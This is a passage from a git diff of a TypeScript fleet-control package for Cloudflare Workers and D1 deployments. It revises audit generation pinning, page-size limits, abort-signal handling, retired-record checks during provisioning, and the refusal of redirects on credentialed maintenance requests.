perRecordAuditedRecords, ); } const auditedRecords = fleetAuditAuditedRecords(records); @@ -1096,13 +1105,13 @@ async function startAudit( } const record = started.record; const recordProgress = fleetAuditProgressFromUnknown(record.progress); - const pinGenerationValue = - started.outcome === 'adopted-running' - ? recordProgress.generation - : generation; + // The pin goes on the generation the PERSISTED record carries. A release + // reads `progress.generation` off durable state, so a pin on any other + // value is released at a generation nobody holds and leaks the real one + // for as long as the two disagree. try { await options.inventoryStore.pinGeneration({ - generation: pinGenerationValue, + generation: recordProgress.generation, pinnedBy: fleetAuditPinOwner(operationId), }); } catch { @@ -1122,14 +1131,6 @@ async function startAudit( }); const committedProgress: FleetAuditProgress = { ...recordProgress, - // Forced, not spread: the pin was taken at `pinGenerationValue`, - // while `recordProgress` carries whatever generation the store - // echoed back. Every later `releasePin` reads `progress.generation` - // off the persisted record — `failAudit` unguarded, and - // `abandonFleetAuditOperation` on both arms — so a store echoing a - // different generation on the `created` outcome would otherwise - // release a pin that was never taken and leak the real one. - generation: pinGenerationValue, revision: 1, }; try { @@ -1146,7 +1147,7 @@ async function startAudit( return pendingFromCommitted(committed); } catch { // Every throw from the revision-1 replay resolves to the same answer, - // and the catch is deliberately unnarrowed for that reason: for a + // and the catch is unnarrowed for that reason: for a // far-advanced running (or since-terminal) operation the CAS cannot // converge, and for a lost lease or a store fault the operation's // current authoritative state is still the only truthful reply. The @@ -1235,8 +1236,16 @@ export type FleetAuditFindingsPage = /** * Read terminal audit findings, passing each returned cursor to the next call. - * The store owns the final-page signal; findingCount does not certify page - * completeness here. + * The store raises the final-page signal and this reader checks it against + * `FleetAuditProgress.findingCount`: a final page accounting for fewer rows + * than that count is malformed. A final page accounting for more is served, + * because an interrupted global chunk leaves finding rows staged above the + * count its commit never reached. No total-page bound is imposed. + * + * `limit` reaches the store as the caller wrote it, and a conforming store + * serves a `limit` above its documented 1,000-row ceiling at that ceiling, so + * an over-large page request costs the rows beyond it and leaves the rest to + * the cursor. */ export async function readFleetAuditFindingsPage( store: FleetOperationStore, @@ -1275,6 +1284,13 @@ export async function readFleetAuditFindingsPage( driftFindingRowFromUnknown(row.payload), ); const lastRow = sortedRows.at(-1); + const accounted = lastRow === undefined ? firstOrdinal : lastRow.ordinal + 1; + if ( + page.done && + accounted < fleetAuditProgressFromUnknown(run.progress).findingCount + ) { + return malformed(); + } if (lastRow === undefined) return { findings, done: true }; return page.done ? { findings, done: true, nextAfterOrdinal: lastRow.ordinal } diff --git a/packages/fleet-control/src/fleet-inventory-advance.ts b/packages/fleet-control/src/fleet-inventory-advance.ts index d45a5836..bfc8b545 100644 --- a/packages/fleet-control/src/fleet-inventory-advance.ts +++ b/packages/fleet-control/src/fleet-inventory-advance.ts @@ -42,7 +42,11 @@ export interface AdvanceFleetInventoryOptions { readonly action: FleetInventoryAdvanceAction; readonly maxProviderRequests: number; readonly maxStagedRowsPerChunk?: number; - /** Call-local cancellation; it is never persisted. */ + /** + * Call-local cancellation; it is never persisted. This engine forwards it + * to the stage advance, which is where it is honoured; the engine takes no + * step of its own on it. + */ readonly signal?: AbortSignal; } @@ -173,7 +177,6 @@ async function advanceChunk( `fleet inventory run '${run.operationId}' failed and cannot be continued`, ); } - // Lease loss is detected at the dispatch boundary, before any provider work. await lease.assertOwned(); const executed = run.progress.stage; if (executed.step === 'finalize') { @@ -261,8 +264,6 @@ export async function advanceFleetInventory( throw new FleetInventoryRunTokenOperationError(token.operationId); } if (classifyFleetInventoryRunToken(token, run) === 'stale') { - // The caller is behind the persisted run, so the authoritative current - // result is returned without touching the provider. return run.state === 'finalized' ? completeFromRun(options.store, lease, run) : { status: 'pending', token: runToken(run) }; diff --git a/packages/fleet-control/src/fleet-migration-advance.ts b/packages/fleet-control/src/fleet-migration-advance.ts index 1a79caf8..1a54132e 100644 --- a/packages/fleet-control/src/fleet-migration-advance.ts +++ b/packages/fleet-control/src/fleet-migration-advance.ts @@ -72,15 +72,20 @@ export interface AdvanceFleetMigrationOptions { ) => FleetSettlementHost | undefined; readonly routeAttestation?: AttestConvergedActiveRouteOptions; readonly clock?: () => number; - /** Call-local only; never persisted. */ + /** + * Call-local only; never persisted. Read at the entry and at the head of + * each item advance; a step already in flight runs to completion. + */ readonly signal?: AbortSignal; /** * Runs on every call that returns `complete` — the call that finalizes the * operation, a later continue on the finalized operation, and a replayed - * start of the same operationId — after the finalization is durable and - * before this call returns. Delivery is therefore at least once; the host - * deduplicates on `operationId`. A rejection propagates to the caller and - * leaves the durable finalization intact. + * start carrying the same intake — after the finalization is durable and + * before this call returns, with no operation lease held. Delivery follows + * the durable outcome, so an abort raised after the call begins does not + * suppress it. Delivery is therefore at least once; the host deduplicates + * on `operationId`. A rejection propagates to the caller and leaves the + * durable finalization intact. */ readonly onComplete?: ( result: FleetMigrationResultRef, @@ -414,6 +419,8 @@ async function advanceItem( run: MigrationRun, item: FleetMigrationItem, ): Promise { + // Outside the try below: its catch durably fails the item, so an abort + // raised there would turn a cancellation into a permanent failure. options.signal?.throwIfAborted(); let next: FleetMigrationItem; try { diff --git a/packages/fleet-control/src/fleet-operation-state.ts b/packages/fleet-control/src/fleet-operation-state.ts index 7c931092..6a3b4683 100644 --- a/packages/fleet-control/src/fleet-operation-state.ts +++ b/packages/fleet-control/src/fleet-operation-state.ts @@ -192,13 +192,49 @@ export function fleetOperationOtherKindMessage(operationId: string): string { return `fleet operation '${operationId}' belongs to the other operation kind`; } +/** + * The fixed refusal message raised when `failOperation` is handed more than + * one `updateRows` entry. It lives here so that `D1FleetOperationStore` and + * every store double emit byte-identical text. + */ +export const FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE = + 'failOperation accepts at most one updateRow'; + +/** + * The fixed refusal message raised when a `commitProgress` insert below a + * claimed watermark is not the contiguous run ending at it. It lives here so + * that `D1FleetOperationStore` and every store double emit byte-identical + * text for one row kind. + */ +export function fleetOperationWatermarkRunMessage( + rowKind: FleetOperationRowKind, +): string { + return `commitProgress ${rowKind} rows below the watermark must be the contiguous run ending at it`; +} + +/** + * The page size a store serves for a caller's `limit`: the requested size up + * to `FLEET_OPERATION_ROW_PAGE_LIMIT`, and that ceiling above it, so a caller + * asking for a larger page reads the largest page a store serves instead of + * losing the read to a refusal. A `limit` that is not a safe integer of at + * least 1 refuses. + */ +export function fleetOperationPageLimit(limit: number): number { + if (!Number.isSafeInteger(limit) || limit < 1) { + throw new Error('limit must be an integer of at least 1'); + } + return Math.min(limit, FLEET_OPERATION_ROW_PAGE_LIMIT); +} + export interface FleetOperationStore { /** * Runs `operation` under an account-wide exclusive lease for one operation * kind. The lease is acquired before the callback runs and released after - * the returned promise settles, whether it resolves or rejects. Contention - * is refused, not queued: a caller that cannot take the lease receives an - * error rather than waiting for the holder. + * the returned promise settles, whether it resolves or rejects, and the + * promise this method returns settles only after that release completes, so + * a caller that awaits it holds no lease when the next call takes one. + * Contention is refused, not queued: a caller that cannot take the lease + * receives an error rather than waiting for the holder. */ withAccountOperationLease( kind: FleetOperationKind, @@ -219,9 +255,11 @@ export interface FleetOperationStore { * do not rely on the ordering of rows within a page. A page contains the * smallest qualifying ordinals; omitting a row whose ordinal is below one * the page returns is non-conforming. An implementation must accept any - * `limit` from 1 through 1,000, and refuses one outside the range it - * supports rather than clamping it, so an out-of-range `limit` fails closed - * at the store. The upper end is a hard requirement, not a preference: + * `limit` from 1 through 1,000 and serves a larger one at 1,000 — the one + * documented ceiling, which `fleetOperationPageLimit` applies — so a `limit` + * above the ceiling costs the caller the rows beyond it rather than the + * read. A `limit` that is not a safe integer of at least 1 refuses. The + * upper end is a hard requirement, not a preference: * `readAllFleetOperationRows` passes this module's * `FLEET_OPERATION_ROW_PAGE_LIMIT` — 1,000, and unexported, so the bound is * restated here as a literal — as the `limit` on every page it requests, @@ -471,10 +509,12 @@ function fleetOperationBoundedPlain(value: unknown, maxBytes: number): unknown { ) { return malformed(); } - // The spread is bounded: `cloneBoundedPlainData` admits no array longer - // than `FLEET_OPERATION_NODE_BOUND`, so it stays far below the engine's - // argument limit and cannot raise the `RangeError` that would escape this - // walk unconverted. + // The spread is bounded: `cloneBoundedPlainData` charges every value of + // the document against one budget of `FLEET_OPERATION_NODE_BOUND` nodes + // and admits no array longer than the budget still unspent, so an array + // reaching this walk holds fewer elements than that bound — far below the + // engine's argument limit, so the spread cannot raise the `RangeError` + // that would escape this walk unconverted. if (Array.isArray(current)) pending.push(...current); else if (current && typeof current === 'object') { for (const [key, entry] of Object.entries(current)) { @@ -807,8 +847,8 @@ export function isDurableAuditDetailSafe(value: unknown): boolean { } // --------------------------------------------------------------------------- -// Store-facing helpers. These sit below the pure codec primitives, and the -// section above must stay free of store IO. +// Store readers and record projections. They sit below the pure codec +// primitives so that the section above stays free of store IO. // --------------------------------------------------------------------------- /** diff --git a/packages/fleet-control/src/fleet.ts b/packages/fleet-control/src/fleet.ts index c750a0da..d936c88c 100644 --- a/packages/fleet-control/src/fleet.ts +++ b/packages/fleet-control/src/fleet.ts @@ -69,6 +69,7 @@ import { assertNoActiveDecommission, EXTERNAL_MIGRATION_SUBPHASES, effectiveLifecyclePhase, + hasActiveCleanup, isPlatformCatalogRecord, } from './types.js'; import { @@ -189,12 +190,6 @@ function pendingArtifactVersion(record: FleetRecord): string | undefined { ); } -function hasActiveCleanup(record: FleetRecord): boolean { - return ( - record.phase === 'cleanup-advancing' || record.cleanupIntent !== undefined - ); -} - /** * Script keys a deployment under active bounded cleanup may still own live. * They feed the orphan suppressions only: the bounded engine, not the drift @@ -230,8 +225,15 @@ function cleanupKnownScriptKeys(record: FleetRecord): readonly string[] { return keys; } +/** + * The phase a retained record keeps once its decommission completes. It is + * retained state rather than a phase that advances, which is what the audit + * expectations and the staleness check below read it as. + */ +const TERMINAL_LIFECYCLE_PHASE = 'decommissioned' satisfies ProvisioningPhase; + function expectsDatabase(record: FleetRecord): boolean { - return effectiveLifecyclePhase(record) !== 'decommissioned'; + return effectiveLifecyclePhase(record) !== TERMINAL_LIFECYCLE_PHASE; } function expectsWorker(record: FleetRecord): boolean { @@ -1075,12 +1077,13 @@ export function auditNamespaceExpectationsStage( } /** Lifecycle phases whose records no longer expect their R2 buckets. */ -const R2_EXPECTATION_EXCLUDED_PHASES = Object.freeze([ - 'application-resources-deleted', - 'database-exported', - 'database-deleting', - 'decommissioned', -] as const satisfies readonly ProvisioningPhase[]); +const R2_EXPECTATION_EXCLUDED_PHASES: readonly ProvisioningPhase[] = + Object.freeze([ + 'application-resources-deleted', + 'database-exported', + 'database-deleting', + TERMINAL_LIFECYCLE_PHASE, + ] as const satisfies readonly ProvisioningPhase[]); export function auditR2ExpectedStage( input: Readonly<{ @@ -1101,9 +1104,7 @@ export function auditR2ExpectedStage( const findings: DriftFinding[] = []; for (const record of input.records) { const phase = effectiveLifecyclePhase(record); - if (R2_EXPECTATION_EXCLUDED_PHASES.some((excluded) => excluded === phase)) { - continue; - } + if (R2_EXPECTATION_EXCLUDED_PHASES.includes(phase)) continue; for (const resource of record.applicationResources ?? []) { if (resource.state !== 'created' || !resource.creationDate) continue; const prior = input.expectedBuckets.get(resource.bucketName); @@ -1256,13 +1257,12 @@ export async function auditRecordStep( input.liveByScript.get(`${record.backend}:${liveScriptName(record)}`) ?? []; const inventoryDeployment = inventoryMatches[0]; const recordUpdatedAt = Date.parse(record.updatedAt); - // `decommissioned` is terminal, not a phase that advances: a retained - // terminal row ages past `staleAfterMs` and stays there until a host clears - // it, so reading it as stalled provisioning misclassifies intended retained - // state as incomplete provisioning. + // A retained terminal row ages past `staleAfterMs` and stays there until a + // host clears it, so reading it as stalled provisioning misclassifies + // intended retained state as incomplete provisioning. if ( phase !== 'ready' && - phase !== 'decommissioned' && + phase !== TERMINAL_LIFECYCLE_PHASE && (!Number.isFinite(recordUpdatedAt) || input.auditNow - recordUpdatedAt > input.staleAfterMs) ) { @@ -3618,6 +3618,12 @@ async function migrationSettleReady( outboundPolicy: targetPlatform.outboundPolicy, } : {}), + // Written unconditionally, unlike the conditional spreads around it: the + // key belongs to a migrated record whatever its value, and carries + // `undefined` when a finalized state provider supplies no tag. The frozen + // migration baseline records it that way and the golden suite compares + // with `toStrictEqual`, which reads a present `undefined` key differently + // from an absent one, so a conditional spread here changes what it pins. durableObjectTag: finalizedStateProvider ? current.durableObjectTag : targetDurableObjectTag(spec), diff --git a/packages/fleet-control/src/maintenance-health.ts b/packages/fleet-control/src/maintenance-health.ts index 49e7c81b..f1b894ef 100644 --- a/packages/fleet-control/src/maintenance-health.ts +++ b/packages/fleet-control/src/maintenance-health.ts @@ -1,5 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 +import { cancelBodyWithoutAwait } from './database-export-store.js'; import { isSha256 } from './deployment-context.js'; import type { DeploymentSpec, MaintenanceHealth } from './types.js'; @@ -42,7 +43,11 @@ export async function readMaintenanceHealth( response: Response, ): Promise { if (!response.ok) { - throw new Error(`maintenance request failed with HTTP ${response.status}`); + const refusal = new Error( + `maintenance request failed with HTTP ${response.status}`, + ); + cancelBodyWithoutAwait(response.body, refusal); + throw refusal; } const body: unknown = await response.json(); if (!body || typeof body !== 'object') { diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts index d7a43941..ead35cc2 100644 --- a/packages/fleet-control/src/plain-worker-backend.ts +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -293,8 +293,10 @@ export class PlainWorkerBackend implements ProvisioningBackend { // The maintenance requests below carry the maintenance admin secret as a // bearer credential to a tenant Worker URL. Forcing the policy after the // spread denies a call site the chance to opt into following a redirect to - // an address the control plane did not choose. A 3xx then reaches - // readMaintenanceHealth, which refuses any response that is not ok. + // an address the control plane did not choose. By the rule at + // refuseRedirectStatus this transport leaves the status to its consumer: a + // 3xx reaches readMaintenanceHealth, which refuses any response that is not + // ok and cancels its body. this.#fetch = (input, init) => fetchFn(input, { ...init, redirect: 'manual' }); this.#maintenanceRequestTimeoutMs = maintenanceRequestTimeoutMs; @@ -1690,6 +1692,9 @@ export class PlainWorkerBackend implements ProvisioningBackend { response.headers.get('cache-control') === 'no-store' || response.headers.has('www-authenticate') ) { + // readMaintenanceHealth consumes the body on the ok path and cancels + // it on the refusal path. The route-not-ready branch below cancels + // because nothing reads that response at all. const maintenance = await readMaintenanceHealth(response); const message = mismatch(maintenance); if (!message) return maintenance; diff --git a/packages/fleet-control/src/provision.ts b/packages/fleet-control/src/provision.ts index 496c6ff7..85a351be 100644 --- a/packages/fleet-control/src/provision.ts +++ b/packages/fleet-control/src/provision.ts @@ -85,7 +85,12 @@ import type { ProvisioningPhase, ProvisioningResult, } from './types.js'; -import { assertNoActiveCleanup, assertNoActiveDecommission } from './types.js'; +import { + assertNoActiveCleanup, + assertNoActiveDecommission, + hasActiveCleanup, + RETIRED_BACKEND_SWITCH_SUBPHASE, +} from './types.js'; import { targetDurableObjectTag, validateDeploymentSecrets, @@ -162,6 +167,19 @@ function nowIso(clock: () => number): string { return new Date(clock()).toISOString(); } +// The catalog mode a first reservation for this backend and specification +// pins on the durable row. Admission reads the same expression the reservation +// writes, so the two cannot drift. +function reservedWfpMode( + backend: ProvisioningBackend, + spec: DeploymentSpec, +): FleetRecord['wfpMode'] { + return backend.kind === 'workers-for-platforms' && + spec.authoredBy === 'platform' + ? 'platform-catalog' + : undefined; +} + function recordAt( backend: ProvisioningBackend, spec: DeploymentSpec, @@ -179,13 +197,11 @@ function recordAt( ): FleetRecord { const applicationResources = options.applicationResources ?? reserveApplicationR2Resources(spec); + const wfpMode = reservedWfpMode(backend, spec); return { tenantTag: spec.tenantTag, backend: backend.kind, - ...(backend.kind === 'workers-for-platforms' && - spec.authoredBy === 'platform' - ? { wfpMode: 'platform-catalog' as const } - : {}), + ...(wfpMode ? { wfpMode } : {}), environment: spec.environment, scriptName: spec.scriptName, databaseId: database.id, @@ -604,29 +620,29 @@ export interface ProvisionDeploymentOptions { // The residue a terminal `decommissioned` row still describes, or `undefined` // when the row describes none. Written as a reason rather than a boolean so // the refusal below names what the operator has to resolve. +// +// A switch-carrying row is read against the subphase whose teardown evidence +// `isCompleteTerminalRecord` matches; every other subphase, settled ones +// included, is named as the switch record it is rather than falling through +// to the teardown-evidence reason. function retainedTerminalResidue(record: FleetRecord): string | undefined { - const decommission = record.decommissionIntent; - if (decommission && decommission.state !== 'complete') { - return `an unfinished decommission operation in state '${decommission.state}'`; - } - if (record.cleanupIntent !== undefined) { - return 'an unfinished bounded cleanup operation'; - } const switchSubphase = record.backendSwitchIntent?.subphase; if ( switchSubphase !== undefined && - switchSubphase !== 'rolled-back' && - switchSubphase !== 'finalized' && - switchSubphase !== 'decommissioned' + switchSubphase !== RETIRED_BACKEND_SWITCH_SUBPHASE ) { - return `an active backend switch in subphase '${switchSubphase}'`; + return `a backend-switch record in subphase '${switchSubphase}'`; } const retained = (record.applicationResources ?? []).filter( (resource) => resource.state !== 'deleted', ); - const retainedNames = retained.map((resource) => `'${resource.name}'`); - if (retainedNames.length > 0) { - return `retained application R2 resources ${retainedNames.join(', ')}`; + // The bucket name is what the operator removes; the binding names which + // declaration in the spec reserved it. + const retainedBuckets = retained.map( + (resource) => `'${resource.bucketName}' (binding '${resource.name}')`, + ); + if (retainedBuckets.length > 0) { + return `retained application R2 resources ${retainedBuckets.join(', ')}`; } if (!isCompleteTerminalRecord(record)) { return 'incomplete teardown evidence: a completed decommission records the database export location, digest, and byte count and leaves no pending lifecycle field'; @@ -634,46 +650,93 @@ function retainedTerminalResidue(record: FleetRecord): string | undefined { return undefined; } -// Reads a stored `decommissioned` row as a RETIRED record: one -// `provisionDeployment` treats as an absent prior rather than as a lifecycle -// to resume. +// Reads a stored row already known to be in the terminal phase as a RETIRED +// record: one `provisionDeployment` treats as an absent prior rather than as a +// lifecycle to resume. // // The row is the evidence, read against the package's own definition of a // completed decommission record in `isCompleteTerminalRecord`, so a teardown // that never finished refuses instead — including the row a forced // decommission strands between its terminal state write and its row delete, -// which records no database export. The predicate reads the row, not its -// provenance: a row carrying that same evidence reads as retired however it -// was written. +// which records no database export. That definition reads a switch-carrying +// row against the export and application-resource evidence only the retired +// subphase records, and nothing in this package clears a settled switch +// intent, so a row whose switch settled at `finalized` or `rolled-back` is +// refused by that subphase. The predicate reads the row, not its provenance: +// a row carrying that same evidence reads as retired however it was written. // -// Physical resources the row does not describe stay outside that evidence — -// an ordinary Worker script a forced decommission leaves behind, and the -// Durable Object namespaces a backend asserts absent rather than deletes — -// and a fresh provision over this slug meets them at the provider, which -// refuses to adopt a database or a script it cannot attribute to this -// deployment. +// Behind that evidence stand the steps a normal decommission ran: it deleted +// the application R2 buckets the row carries at `deleted`, then deleted the D1 +// database and read it back absent (`decommissionDeployment`'s +// `database-deleting` phase), and the backend it asked to detach that database +// asserted the row's Durable Object namespaces absent first. A terminal row +// therefore evidences namespace absence by the mechanism that evidences D1 +// absence. A force-produced row ran none of those assertions, and the export +// triple it lacks is what refuses it above. // -// The intent clauses live here rather than beside the guards that mirror them -// because normalization runs before `assertNoActiveDecommission`, the cleanup -// redirect, and `assertBackendSwitchInactive`: a row admitted here reaches -// none of those guards. -function isRetiredTerminalRecord(record: FleetRecord): boolean { - return ( - record.phase === 'decommissioned' && - retainedTerminalResidue(record) === undefined +// An ordinary Worker script a forced decommission leaves behind is outside the +// row's description. A fresh provision over this slug meets it at the +// provider: `assertReservedDatabaseNameFree` refuses a database already +// answering to the reserved name, and `PlainWorkerBackend` refuses to upload +// over a surviving script whose deployed versions bind another tenant, +// environment, or database. `WorkersForPlatformsBackend.deployWorker` carries +// no equivalent script refusal. +// +// Two kinds of clause answer this, and they are split by what they produce. +// `residue` decides retirement AND names what the refusal below renders, so +// the caller computes it once and passes it here rather than recomputing it +// there. The decommission and cleanup intents decide retirement only: a row +// they reject carries no reason of its own and refuses through the guard that +// owns it. Those two clauses live here rather than beside the guards that +// mirror them because normalization runs before `assertNoActiveDecommission` +// and the cleanup redirect, so a row admitted here reaches neither guard. +function isRetiredTerminalRecord( + record: FleetRecord, + residue: string | undefined, +): boolean { + if (residue !== undefined) return false; + const decommission = record.decommissionIntent; + if (decommission && decommission.state !== 'complete') return false; + return !hasActiveCleanup(record); +} + +// Refuses a retired row whose persisted deployment mode is not the one this +// specification reserves. The store pins `wfpMode` from the first reservation +// and refuses an upsert that changes an established one; a retired row is +// replaced through that same upsert, so the mismatch is named here, before the +// first write, instead of surfacing as a constraint violation. A row that +// persisted no mode is the case the store admits, and is admitted here too. +function assertRetiredDeploymentMode( + retired: FleetRecord, + backend: ProvisioningBackend, + spec: DeploymentSpec, +): void { + const reserved = reservedWfpMode(backend, spec); + if (retired.wfpMode === undefined || retired.wfpMode === reserved) return; + throw new Error( + `deployment '${spec.tenantTag}:${spec.environment}' has a retired terminal record in deployment mode '${retired.wfpMode}' and this specification reserves '${reserved ?? 'unmarked'}'; an established catalog mode cannot change, so clear the record with forceDecommissionDeployment() before provisioning this name again`, ); } // Refuses a database that already answers to the name this provision reserves. +// The reserved name is `spec.databaseName` at every call site: a prior that +// reached here passed `assertImmutableDeploymentMapping`, which refuses a row +// whose `databaseName` differs. Over a retired terminal row the caller passes +// that row's database ID, so an operator reading the refusal can tell the +// retired deployment's own resurrected database from a foreign one answering +// to the same name. async function assertReservedDatabaseNameFree( backend: ProvisioningBackend, spec: DeploymentSpec, - reservedName: string, + retiredDatabaseId?: string, ): Promise { const existingDatabase = await backend.findDatabase(spec); if (existingDatabase) { + const retired = retiredDatabaseId + ? `; the retired terminal record held database '${retiredDatabaseId}'` + : ''; throw new Error( - `refusing to claim pre-existing database '${existingDatabase.id}:${existingDatabase.name}' for reserved name '${reservedName}'`, + `refusing to claim pre-existing database '${existingDatabase.id}:${existingDatabase.name}' for reserved name '${spec.databaseName}'${retired}`, ); } } @@ -725,9 +788,16 @@ async function provisionDeploymentUnderLease( ); } const stored = await store.get(spec.tenantTag, spec.environment); + // The terminal reading of the stored row, taken ONCE: `terminal` is the row + // only while its phase is the terminal one, and `terminalResidue` is what + // that row still describes. Both the retirement test below and the refusal + // that renders the reason read these two bindings. + const terminal = stored?.phase === 'decommissioned' ? stored : undefined; + const terminalResidue = + terminal === undefined ? undefined : retainedTerminalResidue(terminal); const retiredPrior = - stored !== undefined && isRetiredTerminalRecord(stored) - ? stored + terminal !== undefined && isRetiredTerminalRecord(terminal, terminalResidue) + ? terminal : undefined; // Normalized ONCE, here: `prior` is what the lifecycle guards, the immutable // mapping asserts, the phase refusal, `record` and `databaseReservationOwned` @@ -736,15 +806,15 @@ async function provisionDeploymentUnderLease( // at false and disable the failed-provision unwind for the database and // Worker this attempt created. const prior = retiredPrior === undefined ? stored : undefined; + if (retiredPrior) { + assertRetiredDeploymentMode(retiredPrior, backend, spec); + } if (prior) { assertNoActiveDecommission(prior, 'provisionDeployment'); // The fixed redirect IS this entry's cleanup guard: it must fire before // the generic non-resumable-phase refusal so a rollback that admitted the // bounded engine routes to cleanup instead of a provisioning retry. - if ( - prior.phase === 'cleanup-advancing' || - prior.cleanupIntent !== undefined - ) { + if (hasActiveCleanup(prior)) { throw new Error( `deployment '${spec.tenantTag}:${spec.environment}' has an active bounded cleanup; complete it with cleanupDeploymentArtifacts() or advanceCleanupDeployment() before provisioning again`, ); @@ -779,17 +849,14 @@ async function provisionDeploymentUnderLease( if (prior) { assertImmutableDeploymentMapping(prior, backend, spec); assertPlatformDurableObjectHistory(prior, spec); - // A terminal row that reaches here failed `isRetiredTerminalRecord`, so it - // still describes residue. It refuses by that reason instead of by the - // generic phase message, because the remedy is a physical one the operator - // performs before the record can be cleared. - const residue = - prior.phase === 'decommissioned' - ? retainedTerminalResidue(prior) - : undefined; - if (residue !== undefined) { + // A terminal row that reaches here failed `isRetiredTerminalRecord` on the + // residue normalization already read, so it still describes that residue. + // It refuses by that reason instead of by the generic phase message, + // because the remedy is a physical one the operator performs before the + // record can be cleared. + if (terminalResidue !== undefined) { throw new Error( - `deployment '${spec.tenantTag}:${spec.environment}' has a decommissioned record with ${residue}; confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment() before provisioning this name again`, + `deployment '${spec.tenantTag}:${spec.environment}' has a decommissioned record with ${terminalResidue}; confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment() before provisioning this name again`, ); } if (!RESUMABLE_PROVISIONING_PHASES.has(prior.phase)) { @@ -959,11 +1026,15 @@ async function provisionDeploymentUnderLease( // is an unconditional upsert, so the reserved-name proof runs before the // claim: proving it afterwards would have replaced the export location, // digest and size that `decommissionDeployment` replays from, for a - // provision that then refuses. An absent prior keeps the original order, - // where the durable reservation written first is what - // `cleanupDeploymentArtifacts()` clears with a receipt. + // provision that then refuses. An absent prior proves the name after its + // reservation is written, so `cleanupDeploymentArtifacts()` has a durable + // row to clear with a receipt. if (retiredPrior !== undefined) { - await assertReservedDatabaseNameFree(backend, spec, spec.databaseName); + await assertReservedDatabaseNameFree( + backend, + spec, + retiredPrior.databaseId, + ); } if (!record) { const reservation: DatabaseReference = { @@ -982,11 +1053,7 @@ async function provisionDeploymentUnderLease( } if (record.phase === 'database-reserved') { if (retiredPrior === undefined) { - await assertReservedDatabaseNameFree( - backend, - spec, - record.databaseName, - ); + await assertReservedDatabaseNameFree(backend, spec); } record = { ...record, diff --git a/packages/fleet-control/src/state-store.ts b/packages/fleet-control/src/state-store.ts index 075c02cf..4ff2f36f 100644 --- a/packages/fleet-control/src/state-store.ts +++ b/packages/fleet-control/src/state-store.ts @@ -57,6 +57,7 @@ import { effectiveLifecyclePhase, isPlatformCatalogRecord, PROVISIONING_PHASES, + SETTLED_BACKEND_SWITCH_SUBPHASES, } from './types.js'; import { deploymentKey } from './validation.js'; @@ -2129,8 +2130,7 @@ export class D1FleetStateStore if ( record.migrationIntent && record.backendSwitchIntent && - record.backendSwitchIntent.subphase !== 'finalized' && - record.backendSwitchIntent.subphase !== 'rolled-back' + !SETTLED_BACKEND_SWITCH_SUBPHASES.has(record.backendSwitchIntent.subphase) ) { throw new Error( 'only a settled backend switch can coexist with migration intent', diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index c514eb75..ed5e932c 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -364,6 +364,24 @@ export const BACKEND_SWITCH_SUBPHASES = [ export type BackendSwitchSubphase = (typeof BACKEND_SWITCH_SUBPHASES)[number]; +/** + * The subphases at which a backend switch holds nothing: it either rolled back + * to the prior deployment or finalized onto the target. Every other subphase + * is an operation in flight. + */ +export const SETTLED_BACKEND_SWITCH_SUBPHASES = new Set([ + 'rolled-back', + 'finalized', +]); + +/** + * The subphase a backend-switch teardown reaches once it has committed the + * database export and released the application resources it tracked. A record + * carrying a switch intent is read as a completed teardown only here. + */ +export const RETIRED_BACKEND_SWITCH_SUBPHASE = + 'decommissioned' satisfies BackendSwitchSubphase; + export interface PlainBackendSnapshot { readonly scriptName: string; readonly artifactVersion: string; @@ -716,7 +734,11 @@ export interface DecommissionAttachmentScanInput { readonly progress: DecommissionAttachmentProgress; /** Reserved provider-attempt ceiling; an integer from 9 through 1,000. */ readonly maxProviderRequests: number; - /** Call-local cancellation; never persisted in a shell or Queue token. */ + /** + * Call-local cancellation; never persisted in a shell or Queue token. The + * scan checks it before each provider request and hands it to the request + * itself, so an in-flight attempt aborts with it. + */ readonly signal?: AbortSignal; } @@ -1093,18 +1115,22 @@ export function assertNoActiveDecommission( } /** - * Refuses lifecycle entries while a bounded cleanup is active. Cleanup has no - * terminal intent state — the terminal deletes the Fleet row — so ANY present - * intent is active. + * Whether a bounded cleanup holds this record. Cleanup has no terminal intent + * state — the terminal deletes the Fleet row — so ANY present intent is + * active. */ +export function hasActiveCleanup(record: FleetRecord): boolean { + return ( + record.phase === 'cleanup-advancing' || record.cleanupIntent !== undefined + ); +} + +/** Refuses lifecycle entries while a bounded cleanup is active. */ export function assertNoActiveCleanup( record: FleetRecord, operation: string, ): void { - if ( - record.phase === 'cleanup-advancing' || - record.cleanupIntent !== undefined - ) { + if (hasActiveCleanup(record)) { throw new Error(`${operation} cannot run during an active cleanup`); } } diff --git a/packages/fleet-control/src/workers-for-platforms-backend.ts b/packages/fleet-control/src/workers-for-platforms-backend.ts index 5a0900a0..3c166457 100644 --- a/packages/fleet-control/src/workers-for-platforms-backend.ts +++ b/packages/fleet-control/src/workers-for-platforms-backend.ts @@ -15,10 +15,7 @@ import { applicationSecretNames, applicationSecretValues, } from './application-bindings.js'; -import { - CredentialedRedirectRefusedError, - isRedirectStatus, -} from './cloudflare-provider-errors.js'; +import { refuseRedirectStatus } from './cloudflare-provider-errors.js'; import { cancelBodyWithoutAwait, captureDatabaseExportReceiptCapability, @@ -83,6 +80,8 @@ const RELEASE_DIGEST_LENGTH = 48; const DEFAULT_MAINTENANCE_REQUEST_TIMEOUT_MS = 15_000; const MAINTENANCE_CAPABILITY_MAX_TTL_SECONDS = 60; const MAINTENANCE_CAPABILITY_SKEW_SECONDS = 5; +const UNREAD_MAINTENANCE_BODY = + 'Workers for Platforms maintenance health is read from the signed receipt header'; export function externalReleaseScriptName(spec: DeploymentSpec): string { const digest = deploymentSpecDigest(spec); @@ -483,20 +482,16 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { // The maintenance requests below carry a minted capability token as a // bearer credential to a tenant Worker URL. Forcing the policy after the // spread denies a call site the chance to opt into following a redirect to - // an address the control plane did not choose. The refusal belongs here - // because both consumers read only the signed receipt header and then - // build a fresh response, so a 3xx carrying a valid receipt would - // otherwise succeed. + // an address the control plane did not choose. By the rule at + // refuseRedirectStatus the refusal belongs in this wrapper: both consumers + // read only the signed receipt header and then build a fresh response, so a + // 3xx carrying a valid receipt would otherwise succeed. 